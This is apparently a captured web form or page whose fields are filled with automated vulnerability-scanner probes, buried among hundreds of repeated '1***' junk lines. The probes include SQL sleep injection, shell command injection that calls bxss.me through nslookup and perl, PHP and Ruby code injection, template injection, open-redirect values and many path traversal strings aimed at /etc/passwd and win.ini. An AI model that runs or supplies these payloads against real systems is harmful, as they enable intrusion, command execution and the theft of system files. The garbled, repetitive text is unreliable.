-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
${9999931+10000239}
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
response.write(9969248*9856888)
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'+response.write(9969248*9856888)+'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
"+response.write(9969248*9856888)+"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
!(()&&!|||
-
1***
`
- `***
-
1***
`
- `***
-
^(#$!@#$)(()))******
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'.gethostbyname(lc('hityg'.'oueaqszt7842b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(89).chr(117).chr(86).'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
".gethostbyname(lc("hitki"."ituyageaec308.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(76).chr(109).chr(72)."
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs�.
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
/etc/shells
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
c:/windows/win.ini
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
bxss.me
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
ctime sleep p0 (I30 tp1 Rp2 .
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
bxss.me/t/xss.html?%00
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
"+"A".concat(70-3).concat(22*4).concat(113).concat(66).concat(120).concat(81)+(require"socket" Socket.gethostbyname("hittt"+"gssrvnnm61f96.bxss.me.")[3].to_s)+"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(113).concat(85)+(require'socket' Socket.gethostbyname('hitpj'+'hclssgqp427a9.bxss.me.')[3].to_s)+'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-
1***
`
- `***
-
1***
`
- `***
-
';print(md5(31337));$a='
-
1***
`
- `***
-
1***
`
- `***
-
";print(md5(31337));$a="
-
1***
`
- `***
-
1***
`
- `***
-
${@print(md5(31337))}
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
${@print(md5(31337))}\
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'.print(md5(31337)).'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
notes
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
notes�
-
1***
`
- `***
-
1***
`
- `***
-
notes/.
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'"()
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `**'&&sleep(271000)*ssnzuk&&'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `**"&&sleep(271000)*ffdyze&&"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `**'||sleep(271000)*rdcbrf||'
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `**"||sleep(271000)*xwamlj||"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
echo plpgtk$()\ olzfhe\nz^xyu||a #' &echo plpgtk$()\ olzfhe\nz^xyu||a #|" &echo plpgtk$()\ olzfhe\nz^xyu||a #
-
1***
`
- `***
-
&echo qqtipp$()\ ibmgqm\nz^xyu||a #' &echo qqtipp$()\ ibmgqm\nz^xyu||a #|" &echo qqtipp$()\ ibmgqm\nz^xyu||a #
-
1***
`
- `***
-
1***
`
- `***
-
|echo xukjqp$()\ gsfhcz\nz^xyu||a #' |echo xukjqp$()\ gsfhcz\nz^xyu||a #|" |echo xukjqp$()\ gsfhcz\nz^xyu||a #
-
1***
`
- `***
-
(nslookup hitvdoyhfjcej21d50.bxss.me||perl -e "gethostbyname('hitvdoyhfjcej21d50.bxss.me')")
-
1***
`
- `***
-
$(nslookup hitkqswweursa3fcd1.bxss.me||perl -e "gethostbyname('hitkqswweursa3fcd1.bxss.me')")
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
&nslookup hitdthkpsafrr09d33.bxss.me&'"
0&nslookup hitdthkpsafrr09d33.bxss.me&
' -
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
&(nslookup hitvfofjuovpueaeef.bxss.me||perl -e "gethostbyname('hitvfofjuovpueaeef.bxss.me')")&'"
0&(nslookup hitvfofjuovpueaeef.bxss.me||perl -e "gethostbyname('hitvfofjuovpueaeef.bxss.me')")&
' -
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
|(nslookup hitlcstuvkhlkb0bdd.bxss.me||perl -e "gethostbyname('hitlcstuvkhlkb0bdd.bxss.me')")
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
(nslookup hitlarkgyryfe9548a.bxss.me||perl -e "gethostbyname('hitlarkgyryfe9548a.bxss.me')")
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
;(nslookup hitmoxtrptuud44cc4.bxss.me||perl -e "gethostbyname('hitmoxtrptuud44cc4.bxss.me')")|(nslookup hitmoxtrptuud44cc4.bxss.me||perl -e "gethostbyname('hitmoxtrptuud44cc4.bxss.me')")&(nslookup hitmoxtrptuud44cc4.bxss.me||perl -e "gethostbyname('hitmoxtrptuud44cc4.bxss.me')")
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1Cak9emkNEO
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***'"()&%
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'"()&%
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***9333664
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
bfg7919<s1﹥s2ʺs3ʹhjl7919
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
<%={{={@{#{${dfb}}%>
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
<th:t="${dfb}#foreach
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
dfb{{98991*97996}}xca
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
dfb[[${98991*97996}]]xca
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
dfb__${98991*97996}__::.x
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***'
-
1***
`
- `***
-
1***
`
- `***
-
xfs.bxss.me
-
1***
`
- `***
-
957863
-
1***
`
- `***
-
1***
`
- `***
-
xfs.bxss.me?bigvisiontech.com
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
//xfs.bxss.me?bigvisiontech.com
-
1***
`
- `***
-
/\xfs.bxss.me?bigvisiontech.com
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
../../../../../../../../../../../../../../etc/passwd
-
1***
`
- `***
-
../../../../../../../../../../../../../../windows/win.ini
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
../1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
'"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
response.write(9995510*9662766)
-
1***
`
- `***
-
'+response.write(9995510*9662766)+'
-
1***
`
- `***
-
"+response.write(9995510*9662766)+"
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
${9999388+9999124}
-
!(()&&!|||
-
^(#$!@#$)(()))******
-
'.gethostbyname(lc('hithz'.'ucvuapxz6a3b2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(82).chr(104).chr(73).'
-
".gethostbyname(lc("hitar"."dboylohfbdd48.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(81).chr(115).chr(86)."
-
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
-
/etc/shells
-
c:/windows/win.ini
-
bxss.me
-
<esi:include src="http://bxss.me/rpb.png"/>
-
bxss.me/t/xss.html?%00
-
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-
';print(md5(31337));$a='
-
";print(md5(31337));$a="
-
${@print(md5(31337))}
-
"+"A".concat(70-3).concat(22*4).concat(121).concat(84).concat(105).concat(76)+(require"socket" Socket.gethostbyname("hitwj"+"twtvikmce4929.bxss.me.")[3].to_s)+"
-
${@print(md5(31337))}\
-
'+'A'.concat(70-3).concat(22*4).concat(99).concat(84).concat(115).concat(69)+(require'socket' Socket.gethostbyname('hitpu'+'afigbkuq3a006.bxss.me.')[3].to_s)+'
-
'.print(md5(31337)).'
-
1***
`
- `***
-
echo lorxpk$()\ txqutl\nz^xyu||a #' &echo lorxpk$()\ txqutl\nz^xyu||a #|" &echo lorxpk$()\ txqutl\nz^xyu||a #
-
&echo widxau$()\ dxlgcl\nz^xyu||a #' &echo widxau$()\ dxlgcl\nz^xyu||a #|" &echo widxau$()\ dxlgcl\nz^xyu||a #
-
|echo ghhizd$()\ mlkauw\nz^xyu||a #' |echo ghhizd$()\ mlkauw\nz^xyu||a #|" |echo ghhizd$()\ mlkauw\nz^xyu||a #
-
(nslookup hityhfgmvcdaw3da3d.bxss.me||perl -e "gethostbyname('hityhfgmvcdaw3da3d.bxss.me')")
-
$(nslookup hitqgdyseuqovc5054.bxss.me||perl -e "gethostbyname('hitqgdyseuqovc5054.bxss.me')")
-
&nslookup hitxjwevfkgbo07ca5.bxss.me&'"
0&nslookup hitxjwevfkgbo07ca5.bxss.me&
' -
&(nslookup hitqfmzoruelk5f108.bxss.me||perl -e "gethostbyname('hitqfmzoruelk5f108.bxss.me')")&'"
0&(nslookup hitqfmzoruelk5f108.bxss.me||perl -e "gethostbyname('hitqfmzoruelk5f108.bxss.me')")&
' -
|(nslookup hitkbwgrvgwrl11699.bxss.me||perl -e "gethostbyname('hitkbwgrvgwrl11699.bxss.me')")
-
(nslookup hitwzhnxmdlxn03b35.bxss.me||perl -e "gethostbyname('hitwzhnxmdlxn03b35.bxss.me')")
-
;(nslookup hitjxfscdsvbd68b81.bxss.me||perl -e "gethostbyname('hitjxfscdsvbd68b81.bxss.me')")|(nslookup hitjxfscdsvbd68b81.bxss.me||perl -e "gethostbyname('hitjxfscdsvbd68b81.bxss.me')")&(nslookup hitjxfscdsvbd68b81.bxss.me||perl -e "gethostbyname('hitjxfscdsvbd68b81.bxss.me')")
-
1CnFfEkQKeO
-
12345'"'");|]*%00{%0d%0a<%00>%bf%27'
💡 -
1'"()&%
-
'"()&%
-
19518550
-
xfs.bxss.me
-
bfg5312%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5312
-
990898
-
bfgx8249%C0%BEz1%C0%BCz2a%90bcxhjl8249
-
<%={{={@{#{${dfb}}%>
-
xfs.bxss.me?bigvisiontech.com
-
<th:t="${dfb}#foreach
-
//xfs.bxss.me?bigvisiontech.com
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
/\xfs.bxss.me?bigvisiontech.com
-
dfb{{98991*97996}}xca
-
dfb[[${98991*97996}]]xca
-
dfb__${98991*97996}__::.x
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1'
-
'"
-
1***
`
- `***
-
../../../../../../../../../../../../../../etc/passwd
-
../../../../../../../../../../../../../../windows/win.ini
-
1***
`
- `***
-
../../../../../../../../../../../../../../../proc/version
-
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
-
../../../../../../../../../../etc/passwd%00.jpg
-
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
-
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
-
.\./.\./.\./.\./.\./.\./etc/passwd
-
/etc/passwd
-
%2fetc%2fpasswd
-
/.././.././.././.././.././.././.././../etc/./passwd%00
-
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
-
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
-
../././../././../././../././../././../././../././../././../././../././etc/passwd
-
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
-
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././